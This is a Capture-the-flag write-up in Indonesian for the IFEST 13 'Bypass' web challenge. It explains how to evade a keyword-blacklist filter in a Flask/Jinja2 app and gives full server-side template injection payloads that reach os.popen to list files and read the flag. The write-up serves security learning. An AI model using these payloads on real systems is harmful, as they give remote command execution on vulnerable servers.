ctfs
  • 👋Hello!
  • 🏴Practice
    • 🌐Cryptohack
      • Introduction
      • General
        • Encoding
        • XOR
        • Mathematics
        • Data Formats
      • Symmetric Ciphers
        • How AES Works
        • Symmetric Starter
        • Block Ciphers 1
        • Stream Ciphers
      • Mathematics
        • Modular Math
        • Lattices
      • RSA
        • Starter
        • Primes Part 1
        • Public Exponent
    • 🌐PortSwigger
      • Path Traversal
      • File Upload
      • SSRF Attacks
    • 🌐TryHackMe
      • Basic Skills
      • Linux
      • Penetration Testing
      • Networking
      • OSINT
  • 🚩Competitions
    • 2025
      • 🇮🇩GKSK#9 Osintathon
        • Mudik Lebaran (100 pts)
        • Foto Patung (100 pts)
        • Kolektor Komik (100 pts)
        • Tolong Aku (100 pts)
        • Kencan Pertama (100 pts)
        • Nama Si Pelaku (100 pts)
        • Cekidot (100 pts)
        • Ledakan! (100 pts)
        • 🎹🎶 (100 pts)
        • Batu Besar (100 pts)
        • Komentar (100 pts)
        • Ini dimana? (100 pts)
        • Koordinat Foto Misterius (100 pts)
        • Bianglalaaa (100 pts)
        • Aku Hacker (100 pts)
        • Anjazzz (100 pts)
        • Dikirim Kakakku (129 pts)
        • Ingfo Loker (154 pts)
        • MISSING 00 (100 pts)
        • MISSING 01 (154 pts)
        • Siapa Aku? (154 pts)
      • 🇮🇩IFEST 13
        • Ququerer (250 pts)
        • Silent Trace (370 pts)
        • Nugas (Solved After Event)
        • Free Flag (280 pts)
        • Brute (Solved After Event)
        • Web V1 (Solved After Event)
        • Bypass (Solved After Event)
        • Orbiter (Solved After Event)
      • 🌐OSINT Combine (Wildlife)
        • Getting Started (100 pts)
        • Proper Poppy (100 pts)
        • Legendary Beasts (200 pts)
        • Shadow Fleet (200 pts)
        • Proper Poppy II (200 pts)
        • Not So Smug Smuggler (200 pts)
        • Icy (200 pts)
        • Forest Pals (200 pts)
        • Safari Time II (200 pts)
        • Sneaky! (200 pts)
        • Hello Friend (300 pts)
        • Busy As A (300 pts)
        • Get Rotated! (300 pts)
        • High Seas (300 pts)
        • Nocturnal (300 pts)
        • Safari Time (400 pts)
        • Peak Weather (400 pts)
        • Singsong (400 pts)
        • Falling Fell (500 pts)
        • Kitty Cats (500 pts)
      • 🇮🇩RECURSION
        • let him cook
        • Basic Math
        • Favourite Number
        • Zarrar Cipher (100 pts)
        • paBlue Team (100 pts)
        • [🩸] I wish I was there on December 21, 2024 (100 pts)
        • Small House (200 pts)
        • [🩸] Mission Difference (456 pts)
    • 2024
      • 🌐Santa Claus CTF
        • Complete Picture
        • Day 1 - Big Bang
        • Day 2 - The Summer Job
        • Day 3 - The Visitors
        • Day 4 - Happy Birthday
        • Day 5 - Say My Name
        • Day 6 - Say "Cheese"
        • Day 7 - Revealing Pixels
        • Day 8 - Connecting The Dots
        • Day 9 - 404 Not Found
        • Day 10 - Breaking News
        • Day 11 - Ayrton Santa
        • Day 12 - Lost and Found
        • Day 13 - Planespotting
        • Day 14 - Santa Surveillance
        • Day 15 - Shaken, Not Stirred
        • Day 16 - Status Update
        • Day 17 - Waste ...of Time
        • Day 18 - Lost in Translation
        • Day 19 - Santa's Clones
        • Day 20 - Losing Tracks
        • Day 21 - Sing my Song
        • Day 22 - Eagle Eye
        • Day 23 - Distances Matters
        • Day 24 - Mastermind
      • 🌐Cyber Jawara International
        • Stone Game (100 pts)
        • prepare the tools (176 pts)
        • Persona (484 pts)
      • 🌐OSMOSIS Precon CTF
        • 1 The art of espionage
        • # 2 The Hack
        • # 3 The rabbit hole
        • # 4 The Association
        • # 6 Where is number 5
        • # 5 Who is it
        • Too many Layers
        • The prize
      • 🇮🇩Intechfest
        • Sanity Check (100 pts)
        • Alin (113 pts)
        • GerakSendiri (106 pts)
        • Details (100 pts)
      • 🇮🇩COMPFEST 16
        • Let's Help John! (100 pts)
        • money gone, wallet also gone (100 pts)
        • head’s up! (493 pts)
        • CaRd (304 pts)
        • Sanity Check (100 pts)
      • 🇮🇩Gemastik
        • Baby AES (451 pts)
        • Baby Structured (100 pts)
      • 🇮🇩Technofair 11
        • Kenangan
        • Xorban
        • Marsha
        • Siap Tempur!!
        • eftipi
        • kurang berarti
        • DUMPling
        • Malicious
      • 🌐DIVER OSINT
        • chiban
      • 🇮🇩GKSK#8 Osintathon
        • Sport Location
        • Meklaren lu warna apa boss ?
        • Postcode
        • Rumah Minang
        • Latihan
        • Anak Misterius
        • Travelling Anywhere
        • The Thief
        • Danger Watch
        • Misteri Ruang Angkasa
        • Fun Walk
        • I am Late
        • My Oshi
        • Wellcome to my Youtube Channel
        • Pesan Tersembunyi Wingdings
        • Salah Fokus
        • Apa itu GKSK?
        • Foto Bersejarah
        • Picture
        • Nostalgia Child
        • oldschool
        • Summer Olympic
      • 🇮🇩Techcomfest
        • pemanasan
        • crackable
        • Kuli-ah forensik
    • 2023
      • 🇮🇩Cyber Jawara
        • daruma
      • 🇮🇩NCW
        • Simple (220 pts)
        • wangsaf (320 pts)
        • Sillyville Saga (220 pts)
        • Freminhelp (Solved after event)
      • 🇮🇩Hology 6
      • 🇮🇩SlashRoot 7
        • Summary (441 pts)
        • eeee (480 pts)
        • Zebra Cross (409 pts)
        • Waka Waka eh eh (185 pts)
        • ANABUL (250 pts)
      • 🇮🇩COMPFEST 15
        • not simply corrupted (316 pts)
        • Artificial secret (356 pts)
      • 🇮🇩Gemastik
        • easy AES
        • k-1
        • Gen Z
      • 🇮🇩TechnoFair 10
        • RSA Bwang
        • Marsah
        • rapsodi
        • Pengen Merch JKT 😢
        • space mono
        • file pemberian fans
        • bantu aku mencari sebuah rahasia
    • 2022
      • 🇮🇩NCW
        • sabeb64 (331 pts)
        • cakemath (451 pts)
        • Downloader (244 pts)
        • 199 passcode (Solved after event)
      • 🇮🇩TEDCTF
      • 🇮🇩Gemastik
      • 🇮🇩OSCCTF
      • 🇮🇩ARA
  • 🪦Old Hello
Powered by GitBook
On this page
  1. Competitions
  2. 2025
  3. IFEST 13

Bypass (Solved After Event)

PreviousWeb V1 (Solved After Event)NextOrbiter (Solved After Event)

Last updated 25 days ago

It's obvious, but can you bypass it to win the reward?

Author: BerlianGabriel

Kita diberikan sebuah URL webite dan source code dari webappnya.

Berikut adalah kode utama dari website (app.py).

from flask import Flask, request, render_template, render_template_string
import re 

app = Flask(__name__)

# Filter returns True if there is some pesky intruder
def filter(data):
    blacklist_words = ['.', '[', ']', '{{', '}}', '"', 'os', 'modules', 'base', 'import', 'application', 'builtins', "*"]
    additional_check = ['_', '__']
    additional_check = re.compile('|'.join(map(re.escape, additional_check)))

    for word in blacklist_words:
        if word in data:
            return True 
    
    return additional_check.match(data)

@app.route("/")
def index():
    title = request.args.get('title', 'Your title', type=str)
    content = request.args.get('content', "Multiple lines of text that form the lede, informing new readers quickly and efficiently about what's interesting in the content", type=str)

    if filter(title) or filter(content):
        title = "Oops..."
        content = "Nice try, but you got blocked by our super secure filtering"

    try:
        title = render_template_string(title)
        content = render_template_string(content)
    except Exception:
        title = "Error"
        content = "Ouch! Some error has occured"

    return render_template("index.html", title=title, content=content)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888, debug=False) 

Pada website ini, kita bis meng-custom title dan content-nya menggunkan GET request. Misalnya, berikut adalah hasil render dari http://103.163.139.198:8888/?title=h4cked&content=payload .

Kerentanan web ini adalah pada kode template HTML-nya yang menonaktifkan fitur bawaan 'safe' dari Jinja2. Dengan begini, syntax dari Jinja dan HTML akan di-render benar-benar seadanya, sehingga kita bisa melakukan serangan SSTI (Server Side Template Injection).

      <main class="container">
        <div class="p-4 p-md-5 mb-4 rounded text-body-emphasis bg-body-secondary">
          <div class="col-lg-6 px-0">
            <h1 class="display-4 fst-italic">{{ title | safe }}</h1>
            <p class="lead my-3">{{ content | safe }}</p>
          </div>
        </div>
      </main>

Untungnya, web ini masih menyiapkan filter sehingga syntax yang berpotensi digunakan untuk menyerang web akan di-block. Walaupun begitu, dengan filter seperti ini pun, masih ada beberapa cara untuk membypass-nya.

def filter(data):
    blacklist_words = ['.', '[', ']', '{{', '}}', '"', 'os', 'modules', 'base', 'import', 'application', 'builtins', "*"]
    additional_check = ['_', '__']
    additional_check = re.compile('|'.join(map(re.escape, additional_check)))

    for word in blacklist_words:
        if word in data:
            return True 
    
    return additional_check.match(data)

Misalnya, untuk membypass string seperti os, kita bisa menggunakan payload ''.join(['o','s']) . Oh, karakter . juga di-block? Gampang, untuk mengakses atribut dari sebuah objek di Jinja, kita bisa gunakan Object | attr('nama_atribut'), sehingga payloadnya akan menjadi '' | attr('join')([ . Apa? [ dan ] juga di-block? Tenang, atribut join() tidak hanya menerima list, tapi juga tuple, sehingga payloadnya bisa dibuat menjadi '' | attr('join')(('o','s')) .

Dalam serangan SSTI, biasanya tujuan utama kita adalah untuk menjalankan atribut popen , karena dengan itu, kita bisa menjalankan sebagian besar system command yang kita butuhkan. Pada payload di bawah ini, saya mencoba menjalankan ls .

{% print(
    | attr('' | attr('join')(('appli','cation')))
    | attr('' | attr('join')(('\x5f\x5f','glo','bals','\x5f\x5f')))
    | attr('\x5f\x5fgetitem\x5f\x5f')('' | attr('join')(('\x5f\x5f','built','ins','\x5f\x5f')))
    | attr('\x5f\x5fgetitem\x5f\x5f')('' | attr('join')(('\x5f\x5f','im','port','\x5f\x5f')))('' | attr('join')(('o','s')))
    | attr('popen')('ls')
    | attr('read')()
    )
%}

# Copy-able: http://103.163.139.198:8888/?title=h4cked&content={%%20print(request%20|%20attr(%27%27%20|%20attr(%27join%27)((%27appli%27,%27cation%27)))%20|%20attr(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27glo%27,%27bals%27,%27\x5f\x5f%27)))%20|%20attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27built%27,%27ins%27,%27\x5f\x5f%27)))%20|%20attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27im%27,%27port%27,%27\x5f\x5f%27)))(%27%27%20|%20attr(%27join%27)((%27o%27,%27s%27)))%20|%20attr(%27popen%27)(%27ls%27)%20|%20attr(%27read%27)())%20%}

Nah, kalau sudah bekerja seperti ini, tinggal ganti saja commandnya menjadi cat reward/flag.txt tapi karena karakter . di-block, payloadnya perlu kita sesuaikan menjadi '' | attr('join')(('cat reward/flag','\x2e','txt')). Berikut adalah payload akhir yang akan memberikan kita flag-nya.

http://103.163.139.198:8888/?title=h4cked&content={%%20print(request%20|%20attr(%27%27%20|%20attr(%27join%27)((%27appli%27,%27cation%27)))%20|%20attr(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27glo%27,%27bals%27,%27\x5f\x5f%27)))%20|%20attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27built%27,%27ins%27,%27\x5f\x5f%27)))%20|%20attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27%27%20|%20attr(%27join%27)((%27\x5f\x5f%27,%27im%27,%27port%27,%27\x5f\x5f%27)))(%27%27%20|%20attr(%27join%27)((%27o%27,%27s%27)))%20|%20attr(%27popen%27)(%27%27%20|%20attr(%27join%27)((%27cat%20reward/flag%27,%27\x2e%27,%27txt%27)))%20|%20attr(%27read%27)())%20%}

Flag: IFEST13{SSTI_byp4ss_f1lt3rs_to_w1n_R3W4RD}

Footnote

Berikut write-up dari tim lainnya pada soal yang sama, yang menurut saya bagus untuk sumber belajar:

Intinya, untuk mengerjakan soal ini, kita perlu mencari cara-cara kreatif untuk mencapai tujuan yang sama dengan cara yang berbeda. Selama mengerjakan soal ini, saya merujuk pada .

🚩
🇮🇩
artikel ini
https://hackmd.io/@BbayuGt/BkQ98gRxxl#Bypass
http://103.163.139.198:8888
file